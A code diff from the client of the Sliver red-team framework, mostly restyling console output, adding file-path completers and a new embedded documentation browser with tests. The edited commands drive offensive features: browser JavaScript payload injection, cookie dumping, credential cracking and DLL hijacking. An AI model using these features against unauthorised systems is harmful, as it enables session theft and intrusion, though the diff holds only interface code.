if 0 < len(cracker.Metal) {
|
if 0 < len(cracker.Metal) {
|
||||||
for _, metal := range cracker.Metal {
|
for _, metal := range cracker.Metal {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if 0 < len(cracker.OpenCL) {
|
if 0 < len(cracker.OpenCL) {
|
||||||
for _, openCL := range cracker.OpenCL {
|
for _, openCL := range cracker.OpenCL {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
con.Printf("%s\n", tw.Render())
|
con.Printf("%s\n", tw.Render())
|
||||||
@@ -173,7 +173,7 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
|||||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
|
||||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||||
if len(cracker.Benchmarks) == 0 {
|
if len(cracker.Benchmarks) == 0 {
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
|||||||
}
|
}
|
||||||
|
|
||||||
results = append(results, file.Name)
|
results = append(results, file.Name)
|
||||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||||
results = append(results, desc)
|
results = append(results, desc)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package creds
|
package creds
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||||
})
|
})
|
||||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
|
||||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||||
|
|
||||||
credsRmCmd := &cobra.Command{
|
credsRmCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
|
|||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
if collection != "" {
|
if collection != "" {
|
||||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
tw.SetTitle(console.StyleBold.Render(collection))
|
||||||
} else {
|
} else {
|
||||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Default Collection"))
|
||||||
}
|
}
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"ID",
|
"ID",
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package cursed
|
package cursed
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
|
||||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||||
|
|
||||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
|
||||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||||
|
|
||||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||||
f.StringP("save", "s", "", "save to file")
|
f.StringP("save", "s", "", "save to file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
|
||||||
|
|
||||||
cursedScreenshotCmd := &cobra.Command{
|
cursedScreenshotCmd := &cobra.Command{
|
||||||
Use: consts.ScreenshotStr,
|
Use: consts.ScreenshotStr,
|
||||||
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||||
f.StringP("save", "s", "", "save to file")
|
f.StringP("save", "s", "", "save to file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
|
||||||
|
|
||||||
return []*cobra.Command{cursedCmd}
|
return []*cobra.Command{cursedCmd}
|
||||||
}
|
}
|
||||||
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
}
|
}
|
||||||
if chromeExt != nil {
|
if chromeExt != nil {
|
||||||
con.Printf("success!\n")
|
con.Printf("success!\n")
|
||||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||||
con.PrintInfof("Injecting payload ... ")
|
con.PrintInfof("Injecting payload ... ")
|
||||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||||
@@ -120,7 +120,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
|
|||||||
if chromeProcess != nil {
|
if chromeProcess != nil {
|
||||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||||
|
|||||||
@@ -93,7 +93,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
|||||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||||
shell := readline.NewShell()
|
shell := readline.NewShell()
|
||||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
|
||||||
// EOFPrompt: "exit",
|
// EOFPrompt: "exit",
|
||||||
|
|
||||||
if con.Settings.VimMode {
|
if con.Settings.VimMode {
|
||||||
@@ -111,7 +111,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
|
||||||
|
|
||||||
for {
|
for {
|
||||||
line, err := shell.Readline()
|
line, err := shell.Readline()
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
|||||||
}
|
}
|
||||||
if chromeExt != nil {
|
if chromeExt != nil {
|
||||||
con.Printf("success!\n")
|
con.Printf("success!\n")
|
||||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||||
con.PrintInfof("Injecting payload ... ")
|
con.PrintInfof("Injecting payload ... ")
|
||||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||||
@@ -103,7 +103,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
|
|||||||
if edgeProcess != nil {
|
if edgeProcess != nil {
|
||||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
|||||||
if electronProcess != nil {
|
if electronProcess != nil {
|
||||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package dllhijack
|
package dllhijack
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["file"] = carapace.ActionFiles()
|
(*comp)["file"] = carapace.ActionFiles()
|
||||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
|
||||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||||
|
|
||||||
return []*cobra.Command{dllhijackCmd}
|
return []*cobra.Command{dllhijackCmd}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package docs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Commands returns the docs command.
|
||||||
|
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||||
|
return []*cobra.Command{newDocsCommand(consts.SliverCoreHelpGroup, con)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServerCommands returns the docs command for the top-level client REPL.
|
||||||
|
func ServerCommands(con *console.SliverClient) []*cobra.Command {
|
||||||
|
return []*cobra.Command{newDocsCommand(consts.GenericHelpGroup, con)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newDocsCommand(groupID string, con *console.SliverClient) *cobra.Command {
|
||||||
|
return &cobra.Command{
|
||||||
|
Use: consts.DocsStr,
|
||||||
|
Short: "Browse the embedded Sliver docs in a TUI",
|
||||||
|
Long: help.GetHelpFor([]string{consts.DocsStr}),
|
||||||
|
Args: cobra.NoArgs,
|
||||||
|
GroupID: groupID,
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
DocsCmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package docs
|
||||||
|
|
||||||
|
import (
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/charmbracelet/colorprofile"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DocsCmd launches the embedded docs browser TUI.
|
||||||
|
func DocsCmd(_ *cobra.Command, con *console.SliverClient, _ []string) {
|
||||||
|
entries, err := loadDocEntries()
|
||||||
|
if err != nil {
|
||||||
|
if con != nil {
|
||||||
|
con.PrintErrorf("Failed to load embedded docs: %s\n", err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
model := newDocsModel(entries)
|
||||||
|
|
||||||
|
width, height := 100, 32
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
|
||||||
|
program := tea.NewProgram(
|
||||||
|
model,
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
)
|
||||||
|
if _, err := program.Run(); err != nil && con != nil {
|
||||||
|
con.PrintErrorf("Docs TUI error: %s\n", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,199 @@
|
|||||||
|
package docs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"github.com/charmbracelet/x/ansi"
|
||||||
|
)
|
||||||
|
|
||||||
|
func sampleDocs() []docEntry {
|
||||||
|
return []docEntry{
|
||||||
|
{
|
||||||
|
Name: "Getting Started",
|
||||||
|
Content: "# Getting Started\n\n- first step\n- second step",
|
||||||
|
Description: "Getting Started",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "Operators",
|
||||||
|
Content: "# Operators\n\nTeam workflows",
|
||||||
|
Description: "Team workflows",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "Networking",
|
||||||
|
Content: "# Networking\n\nTransport details",
|
||||||
|
Description: "Transport details",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRenderMarkdownWithGlowRendersBulletLists(t *testing.T) {
|
||||||
|
rendered, err := renderMarkdownWithGlow(48, "# Title\n\n- first item")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("renderMarkdownWithGlow(): %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
plain := ansi.Strip(rendered)
|
||||||
|
if !strings.Contains(plain, "Title") {
|
||||||
|
t.Fatalf("expected heading text, got %q", plain)
|
||||||
|
}
|
||||||
|
if !strings.Contains(plain, "• first item") {
|
||||||
|
t.Fatalf("expected glow-style bullet rendering, got %q", plain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSummarizeMarkdownPrefersFirstMeaningfulLine(t *testing.T) {
|
||||||
|
summary := summarizeMarkdown("# Title\n\n- Bullet\n\nParagraph")
|
||||||
|
if summary != "Title" {
|
||||||
|
t.Fatalf("expected first heading summary, got %q", summary)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSummarizeMarkdownStripsMarkdownAndUnicodeSymbols(t *testing.T) {
|
||||||
|
summary := summarizeMarkdown("⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors.")
|
||||||
|
if summary != "IMPORTANT: This content was NOT created by the Sliver authors." {
|
||||||
|
t.Fatalf("expected sanitized browser summary, got %q", summary)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelDefaultsToGettingStarted(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 32)
|
||||||
|
|
||||||
|
if model.currentDocName != "Getting Started" {
|
||||||
|
t.Fatalf("expected Getting Started to be selected, got %q", model.currentDocName)
|
||||||
|
}
|
||||||
|
plain := ansi.Strip(model.viewer.View())
|
||||||
|
if !strings.Contains(plain, "first step") {
|
||||||
|
t.Fatalf("expected initial viewer content to render selected doc, got %q", plain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelSlashFocusesBrowserAndStartsFiltering(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 32)
|
||||||
|
model.focus = docsFocusViewer
|
||||||
|
|
||||||
|
updated, cmd := model.Update(tea.KeyPressMsg{Text: "/", Code: '/'})
|
||||||
|
if cmd == nil {
|
||||||
|
t.Fatal("expected slash to focus the search input")
|
||||||
|
}
|
||||||
|
|
||||||
|
updatedModel := updated.(*docsModel)
|
||||||
|
if updatedModel.focus != docsFocusBrowser {
|
||||||
|
t.Fatalf("expected slash to move focus to browser, got %v", updatedModel.focus)
|
||||||
|
}
|
||||||
|
if updatedModel.filterState != docsFilterStateFiltering {
|
||||||
|
t.Fatalf("expected slash to enter filtering state, got %v", updatedModel.filterState)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelFilteringUpdatesVisibleEntries(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 32)
|
||||||
|
|
||||||
|
model.startFiltering()
|
||||||
|
model.browserFilter.SetValue("oper")
|
||||||
|
model.updateFilteredEntries(false)
|
||||||
|
|
||||||
|
visible := model.visibleEntries()
|
||||||
|
if len(visible) != 1 || visible[0].Name != "Operators" {
|
||||||
|
t.Fatalf("expected Operators to be the only filtered result, got %+v", visible)
|
||||||
|
}
|
||||||
|
if model.currentDocName != "Operators" {
|
||||||
|
t.Fatalf("expected filtering to sync selection to Operators, got %q", model.currentDocName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelEnterMovesFocusToViewer(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 32)
|
||||||
|
|
||||||
|
updated, _ := model.Update(tea.KeyPressMsg{Code: tea.KeyEnter})
|
||||||
|
updatedModel := updated.(*docsModel)
|
||||||
|
if updatedModel.focus != docsFocusViewer {
|
||||||
|
t.Fatalf("expected enter to focus viewer, got %v", updatedModel.focus)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelEscClearsAppliedFilter(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 32)
|
||||||
|
|
||||||
|
model.startFiltering()
|
||||||
|
model.browserFilter.SetValue("net")
|
||||||
|
model.finishFiltering(false)
|
||||||
|
|
||||||
|
updated, _ := model.Update(tea.KeyPressMsg{Code: tea.KeyEsc})
|
||||||
|
updatedModel := updated.(*docsModel)
|
||||||
|
if updatedModel.filterState != docsFilterStateUnfiltered {
|
||||||
|
t.Fatalf("expected esc to clear the filter, got %v", updatedModel.filterState)
|
||||||
|
}
|
||||||
|
if len(updatedModel.visibleEntries()) != len(sampleDocs()) {
|
||||||
|
t.Fatalf("expected filter clear to restore all docs, got %d visible", len(updatedModel.visibleEntries()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsModelBrowserBodyPinsHelpToBottom(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(120, 28)
|
||||||
|
|
||||||
|
body := ansi.Strip(model.renderBrowserBody(model.browserWidth, model.browserHeight))
|
||||||
|
lines := strings.Split(body, "\n")
|
||||||
|
if len(lines) != model.browserHeight {
|
||||||
|
t.Fatalf("expected browser body height %d, got %d lines", model.browserHeight, len(lines))
|
||||||
|
}
|
||||||
|
if !strings.Contains(lines[len(lines)-1], "q quit") {
|
||||||
|
t.Fatalf("expected help controls on the last browser line, got %q", lines[len(lines)-1])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDocsWindowPollSchedulesResizeAndKeepsPolling(t *testing.T) {
|
||||||
|
model := newDocsModel(sampleDocs())
|
||||||
|
model.applyWindowSize(100, 28)
|
||||||
|
|
||||||
|
updated, cmd := model.Update(docsWindowPollMsg{width: 120, height: 34})
|
||||||
|
if cmd == nil {
|
||||||
|
t.Fatal("expected window poll to schedule resize handling")
|
||||||
|
}
|
||||||
|
|
||||||
|
updatedModel := updated.(*docsModel)
|
||||||
|
if updatedModel.width != 100 || updatedModel.height != 28 {
|
||||||
|
t.Fatalf("expected poll tick to leave dimensions unchanged until WindowSizeMsg, got %dx%d", updatedModel.width, updatedModel.height)
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := cmd()
|
||||||
|
batch, ok := msg.(tea.BatchMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected poll tick to return tea.BatchMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if len(batch) != 2 {
|
||||||
|
t.Fatalf("expected poll tick batch size 2, got %d", len(batch))
|
||||||
|
}
|
||||||
|
|
||||||
|
var sawWindowSize bool
|
||||||
|
var sawPollTick bool
|
||||||
|
for _, subcmd := range batch {
|
||||||
|
if subcmd == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
submsg := subcmd()
|
||||||
|
switch msg := submsg.(type) {
|
||||||
|
case tea.WindowSizeMsg:
|
||||||
|
sawWindowSize = true
|
||||||
|
if msg.Width != 120 || msg.Height != 34 {
|
||||||
|
t.Fatalf("expected resize 120x34, got %dx%d", msg.Width, msg.Height)
|
||||||
|
}
|
||||||
|
case docsWindowPollMsg:
|
||||||
|
sawPollTick = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !sawWindowSize {
|
||||||
|
t.Fatal("expected poll tick to emit WindowSizeMsg")
|
||||||
|
}
|
||||||
|
if !sawPollTick {
|
||||||
|
t.Fatal("expected poll tick to schedule another poll")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
"github.com/alecthomas/chroma/v2"
|
"github.com/alecthomas/chroma/v2"
|
||||||
"github.com/alecthomas/chroma/v2/lexers"
|
"github.com/alecthomas/chroma/v2/lexers"
|
||||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||||
